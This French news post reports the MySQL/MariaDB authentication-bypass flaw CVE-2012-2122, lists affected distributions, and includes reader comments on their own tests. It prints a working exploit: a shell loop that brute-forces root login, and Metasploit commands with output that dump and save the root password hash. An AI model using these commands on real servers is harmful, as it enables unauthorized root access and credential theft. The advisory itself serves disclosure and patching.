Une importante faille de sécurité pour les serveurs MySQL
Une importante faille de sécurité vient d'être découverte au niveau de l'authentification des serveurs MySQL et MariaDB. En effet, ce problème (répertorié sous la référence CVE-2012-2122) permet à un utilisateur local d'une machine de se connecter à un serveur MySQL ou MariaDB en root et sans mot de passe.
Les systèmes suivants sont concernés :
- Ubuntu 64-bit (10.04, 10.10, 11.04, 11.10, 12.04)
- OpenSuSE 12.1 64-bit MySQL 5.5.23-log
- Debian Unstable 64-bit 5.5.23-2
- Fedora 16
- Arch Linux
- MySQL et MariaDB en version 5.1.61, 5.2.11, 5.3.5 et 5.5.22 de façon générale
En revanche, ces distributions ne semblent pas affectées :
- Red Hat Enterprise Linux 4, 5, 6 et CentOS
- Debian (Lenny, Squeeze...)
- Ubuntu Linux 32-bit (10.04, 11.10, 12.04l)
- Gentoo 64-bit
- SuSE 9.3 i586 MySQL 4.1.10a
Voici un exemple d'exploitation de la vulnérabilité, qui fonctionne au bout de 30 secondes :
$ while /bin/true; do mysql -u root --password=123; done
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: YES)
...
...
mysql>
mysql> \s
--------------
mysql Ver 14.14 Distrib 5.5.23, for Linux (x86_64) using readline 5.1
Current user: root@localhost
Un module Metasploit est également disponible. Celui-ci est capable d'extraire le hash du mot de passe root MySQL et le recopie ensuite dans un fichier texte :
# ./msfconsole -n
msf > use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf > info
msf > set USERNAME root
msf > set RHOSTS 127.0.0.1
msf > set RPORT 3306
msf > run[+] 127.0.0.1:3306 The server allows logins, proceeding with bypass test
[*] 127.0.0.1:3306 Successfully bypassed authentication after 80 attempts
[+] 127.0.0.1:3306 Successful exploited the authentication bypass flaw, dumping hashes...
[+] 127.0.0.1:3306 Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[*] 127.0.0.1:3306 Hash Table has been saved: /root/.msf4/loot/20120611235044_default_127.0.0.1_mysql.hashes_550067.txt
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Si vous êtes concerné, il ne vous reste plus qu'à mettre à jour votre système rapidement.
7 Commentaires pour "Une importante faille de sécurité pour les serveurs MySQL"
Flux des commentaires de cet article Ajouter un commentaireMerci pour la news !
Testé sur Gentoo 64bit avec MySQL 5.1.62-r1 et effectivement ça ne fonctionne pas
testé sur une debian squeeze, mysql en version 5.1.61
apres une bonne minute d'attente toujours pas d'accès
Ubuntu 12.04 avec MySQL 5.5.22 et au bout de 2 min, toujours pas d'accès !
J'ai installé le port mysql-server sur OpenBSD et l'exploit ne semble pas fonctionner.
Quand je vois les commentaires précédents, ça semble assez aléatoire non ?
@src : Apparament pas mal de distrib ont déjà mis à jour et la faille daterait d'il y environ 2 mois.
J'ai testé sur une Fedora 16 et ça à fonctionné chez moi. Maintenant, regardé bien la liste des distributions impactées, il y en a pas tant que ça.
Comme expliqué dans le CVS, cette faille à une chance de fonctionner une change sur 256 compris.
Ensuite il faut voir le CVS, il est expliqué que c'est aussi par rapport au GCC s'il utilise en mode d'optimisation SSE. Et ce n'est pas toujours le cas.
Pour en être sur, mieux vaut toujours tester